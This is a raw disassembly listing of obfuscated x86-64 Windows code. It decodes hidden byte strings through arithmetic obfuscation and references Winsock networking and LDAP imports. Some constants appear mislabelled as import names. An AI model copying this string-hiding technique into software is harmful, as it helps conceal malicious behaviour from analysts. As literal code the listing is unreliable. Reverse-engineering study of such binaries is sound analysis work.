movabs rdx, 0x8bd23a970b5702a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111832
movabs rdx, 0x265b2cdadb4ab542
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401117bf
movabs rcx, 0xc0e41f1eab3e67de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x14011174d
movabs rdx, 0x4b1081bfc40964d0
mov ecx, Ordinal_41
jmp 0x14011211b
movabs rdx, 0xe599740393fd176c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112172
movabs rcx, 0x8022664763f0ca08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140112195
movabs rcx, 0x1aab588b33e47ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14011201a
movabs rdx, 0xb5344acf03d82f40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401120ce
movabs rcx, 0x4fbd3d12d3cbe1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x1401121bf
movabs rcx, 0xea462f56a3bf9478
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x48
jmp 0x1401121f5
movabs rdx, 0x84cf219a73b34714
mov ecx, Ordinal_60
jmp 0x140111cdf
movabs rdx, 0x1f5813de43a6f9b0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112282
movabs rcx, 0x21ae7187cb883836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
mov byte [rbp + r9 + 0xd40], dil
jmp 0x140112291
movabs rdx, 0xbc3763cb9b7bead2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 5
jb 0x140111b99
movabs rcx, 0x36b7bc7d92736aec
add rcx, r9
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14011214e
movabs rcx, 0x56c0560f6b6f9d6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
cmp rbx, 6
jae 0x140111ff1
lea rax, [r10 + 0x42]
cmp rbx, rax
jbe 0x140111f4e
movabs rcx, 0x40113323b1f86504
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140111bc8
movabs rcx, 0xf14948533b63500a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
lea rax, [r10 + rbx]
cmp rax, r15
je 0x140112046
lea rax, [r10 + 0x64]
cmp rbx, rax
jbe 0x140111ea5
movabs rdx, 0x16af22ebb977386a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111c14
movabs rcx, 0xf84c614fd3070b9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x140112282
movabs rdx, 0x92d55393a2fabe38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112229
movabs rdx, 0x2d5e45d772ee70d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14011206a
movabs rcx, 0xc7e7381b42e22370
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401121bf
movabs rcx, 0x62702a5f12d5d60c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x1401120e1
movabs rdx, 0xfcf91ca2e2c988a8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140112014
movabs rdx, 0x97820ee6b2bd3b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112195
movabs rcx, 0x320b012a82b0ede0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140112172
movabs rcx, 0xcc93f36e52a4a07c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x14011214e
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x140111e1c
movabs rdx, 0x32bb86de180626b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111c6c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140111e48
movabs rcx, 0x52c4206ff1025934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x140112282
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140111e74
movabs rcx, 0xb83b2e2c210ea698
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x140112229
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140111c6c
movabs rcx, 0xe8a05760b1338ec4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5c
jmp 0x1401120e1
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140111ec2
movabs rdx, 0x7c2630a7e98385ce
mov ecx, Ordinal_50
jmp 0x14011211b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140111eee
movabs rcx, 0x47144c20499c2096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x140112195
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140111f1b
movabs rcx, 0x77797554d9c108c2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4e
jmp 0x1401121bf
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140111c14
movabs rdx, 0xdcf0831109cd5626
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
add dil, dl
jmp 0x1401121f5
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140111f6b
movabs rdx, 0xa58840dfe204b268
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140111b63
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140111f94
movabs rdx, 0x70765c58421d4d30
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x140111f46
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140111fc1
movabs rdx, 0xa0db858cd242355c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011201a
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140111bc8
movabs rcx, 0x6529349024e82c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x140112195
movabs rdx, 0x9c2eca39c27fb850
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0xd40]
sub dil, al
sub dil, 0x30
add dil, dl
add dil, r8b
movabs rcx, 0xceea5117da85df02
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xe
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0xd40], cl
jmp 0x1401120e1
movabs rdx, 0x1a5d7f5f28c05b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0xd40]
add dil, dl
add dil, r8b
jmp 0x1401121f5
movabs rcx, 0xefa3705d48d74a56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x1401121f5
movabs rdx, 0x8a2c62a118cafcf2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401121bf
movabs rdx, 0x24b554e4e8beaf8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
jmp 0x1401121bf
movabs rcx, 0x59c7396c88a614c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140112195
movabs rdx, 0x8ed91df4288d79fe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011214e
movabs rcx, 0xc3eb027bc874df36
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
movabs rcx, 0x6973435baa79919e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x52
add cl, r8b
mov byte [rbp + r9 + 0xd40], cl
add r10, r14
jmp 0x140112195
movabs rcx, 0xf8fce703685c446e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
sub r9, r14
jmp 0x140112291
movabs rdx, 0xc897bdced8375c42
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140112291
mov r8, r11
movabs rcx, 0x6320b012a82b0ede
add rcx, r9
and r11b, cl
add r11b, r11b
mov dil, r8b
sub dil, r11b
sub dil, 0x12
add dil, cl
movabs rdx, 0x34615ed40a922c66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xd40], al
add r10, r14
add rax, r10
sub r9, rax
movabs rdx, 0x671ce5b222985318
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xd40], cl
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140112282
movabs rdx, 0x9832949a48127416
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0xd40]
add rax, r10
add r9, rax
add r9, r14
jmp 0x14011173a
movabs rcx, 0x5b6d11627b321a7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
jmp 0x140111737
movabs rdx, 0xf5f603a64b25cd16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111727
lea rdx, [rbp + 0x1620cd8]
jmp 0x1401122fc
lea rdx, [rbp + 0x168338a]
jmp 0x1401122fc
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0x1170]
call fcn.1400889c0
lea rcx, [rbp + 0x1170]
call fcn.1401aa82c
mov byte [rbp + 0x280], __WSAFDIsSet
mov byte [rbp + 0x281], 0x41
mov byte [rbp + 0x282], WSACleanup
mov byte [rbp + 0x283], 0x76
mov byte [rbp + 0x284], 0x46
mov byte [rbp + 0x285], 0x68
mov byte [rbp + 0x286], 0xb4
mov byte [rbp + 0x287], Ordinal_79
mov byte [rbp + 0x288], Ordinal_79
mov byte [rbp + 0x289], Ordinal_79
mov byte [rbp + 0x28a], Ordinal_200
xor eax, eax
mov dword [rbp + 0x28b], eax
mov word [rbp + 0x28f], ax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x11
jae 0x140112dcb
movzx r8d, byte [rbp + r9 + 0x280]
mov r11, r8
cmp rbx, r9
ja 0x140112dc2
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401123d4
movabs rsi, 0xf4683f0d7d443fe2
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x2e
jmp 0x14011240b
je 0x140112d32
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140112ca7
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140112c7d
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140112c32
movabs rsi, 0xf4683f0d7d443fe2
cmp r10, r9
ja 0x140112db9
lea rax, [r10 + 0x200]
cmp rbx, rax
jae 0x140112434
movabs rdx, 0xc8d2c1b46993d8a
mov ecx, Ordinal_32
jmp 0x1401125bd
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140112c12
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140112bf2
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140112bba
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140112b97
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140112b74
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140112897
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140112870
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14011284d
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x14011282a
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140112809
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401127e6
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1401127d2
lea rbx, [r10 + 0x28]
lea r10, [rbx + 0x200]
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140112d92
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140112d6b
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401125fc
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401125d5
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1401125ae
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140112707
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401126f6
lea rbx, [r10 + 9]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1401126d3
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1401126bf
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14011269c
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140112679
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140112665
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140112642
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x14011261f
lea rbx, [r10 + 4]
lea r10, [rbx + 0xa]
jmp 0x140112482
movabs rdx, 0xb49a3c53040eafb6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112475
movabs rdx, 0xcbc9be3809862ff2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011240b
movabs rcx, 0xe2f9401d0efdb02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x14011239b
movabs rcx, 0x92c864a43fb8ecc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140112c9f
movabs rcx, 0xa9f7e68945306d04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140112b19
movabs rdx, 0xc127686e4aa7ed40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140112bc9
movabs rcx, 0xd856ea53501f6d7c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x140112bdf
movabs rcx, 0xef866c385596edb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140112ccb
movabs rdx, 0x6b5ee1d5b0e6df4
mov ecx, Ordinal_46
jmp 0x140112902
movabs rcx, 0x1de570026085ee30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x140112d54
movabs rdx, 0x863b3888f91faf3e
mov ecx, Ordinal_41
jmp 0x140112751
movabs rcx, 0x9d6aba6dfe972f7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
lea rax, [r10 + rbx]
cmp rax, 0x400
je 0x140112b49
lea rax, [r10 + 0x5a]
cmp rbx, rax
jbe 0x140112988
movabs rdx, 0x3cd70636d94338da
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x64
jae 0x140112aef
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x140112a3c
movabs rdx, 0x496432521fdc7664
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x20
jb 0x140112ae2
movabs rcx, 0x61891f5fe931740c
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140112c50
movabs rdx, 0x90dd8e52b7fdf1f0
mov ecx, Ordinal_60
jmp 0x140112932
movabs rcx, 0xa80d1037bd75722c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x140112bdc
movabs rdx, 0xbf3c921cc2ecf268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140112b13
movabs rcx, 0xd66c1401c86472a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x140112c9f
movabs rcx, 0xed9b95e6cddbf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140112c78
movabs rdx, 0x4cb17cbd353731c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112c50
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x1401128ba
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
jmp 0x140112725
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401128ea
movabs rdx, 0x191a58368d327b14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112d54
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011291a
movabs rdx, 0x1ead65187bafad8
mov ecx, recv
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112cfd
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011294a
movabs rdx, 0xd38bd2877ccbfa60
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112bdf
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140112967
movabs rdx, 0xbc5c50a277547a24
mov ecx, 2
jmp 0x140112bc9
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140112725
movabs rdx, 0x8dfd4cd86c6579ac
mov ecx, Ordinal_41
jmp 0x140112c8c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401129b4
movabs rcx, 0x25a78451d3cbb89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x140112c50
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401129e0
movabs rcx, 0xf7488087c8dcb826
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
jmp 0x140112c9f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140112a0c
movabs rcx, 0x9a8a78f3b2feb736
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x140112ccb
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140112764
movabs rcx, 0x6c2b7529a80fb6be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x140112d54
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112a68
movabs rcx, 0x3234b06d1a64f628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140112d54
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140112a95
movabs rcx, 0xeca62abe09fe7574
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2c
jmp 0x140112bdf
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140112ab2
movabs rdx, 0xd576a8d90486f538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140112bc9
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401127a0
movabs rcx, 0xa717a50ef997f4c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x140112c9f
mov byte [rbp + r9 + 0x280], dil
jmp 0x140112d63
movabs rdx, 0x4a599d7ae3b9f3d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x280]
add dil, dl
add dil, r8b
movabs rdx, 0x3ec1dc8860fe33b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x280], cl
jmp 0x140112bdc
movabs rcx, 0x332a1b95de427394
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x280]
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x140112ccb
movabs rcx, 0x3be19b0e1565bb6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
jmp 0x140112d54
movabs rcx, 0x6a409ed82054bbe6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
jmp 0x140112ccb
movabs rdx, 0x989fa2a22b43bc5e
mov ecx, gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140112d63
movabs rcx, 0xde2e28513baa3d12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
jmp 0x140112c78
movabs rcx, 0xf55daa364121bd4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x140112c50
movabs rcx, 0x23bcae004c10bdc6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
movabs rdx, 0x55f15e6d6675b3ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x280], cl
add r10, r14
jmp 0x140112c9f
movabs rdx, 0x521bb1ca56ffbe3e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
sub r9, r14
jmp 0x140112d63
mov r8, r11
movabs rdx, 0xaed9b95e6cddbf2e
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x42
add dil, dl
movabs rdx, 0x27925aa35b86b376
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x280], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0x1bfa99b0d8caf358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x280], r8b
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140112d54
movabs rdx, 0xdd38bd2877ccbfa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0x280]
add rax, r10
add r9, rax
add r9, r14
jmp 0x140112388
movabs rdx, 0xfa28c2021475306a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140112385
movabs rdx, 0x115843e719ecb0a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140112375
lea rsi, [rbp + 0x15aee58]
jmp 0x140112dd2
lea rsi, [rbp + 0xdf2e3a]
jmp 0x140112dd2
lea rsi, [rbp + 0x280]
mov byte [rbp + 0x2a0], 0xbf
mov byte [rbp + 0x2a1], 0xbd
mov byte [rbp + 0x2a2], Ordinal_200
mov byte [rbp + 0x2a3], 0xb9
mov byte [rbp + 0x2a4], Ordinal_46
xor eax, eax
mov qword [rbp + 0x2a5], rax
mov dword [rbp + 0x2ad], eax
mov word [rbp + 0x2b1], ax
mov byte [rbp + 0x2b3], al
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x14
jae 0x14011372a
movzx r8d, byte [rbp + r9 + 0x2a0]
mov rdx, r8
cmp rbx, r9
ja 0x140113721
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140112e75
movabs r11, 0x86ae06fa5e07247a
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x56
jmp 0x140112eac
je 0x14011369a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140113612
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401135da
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140113589
movabs r11, 0x86ae06fa5e07247a
cmp r10, r9
ja 0x140113718
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140112ede
movabs rcx, 0xc469289b695fe02
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xe
jmp 0x140112f0b
je 0x140113565
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140113545
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140113522
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401134ff
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x14011318d
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140113179
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140113152
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14011312f
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14011310e
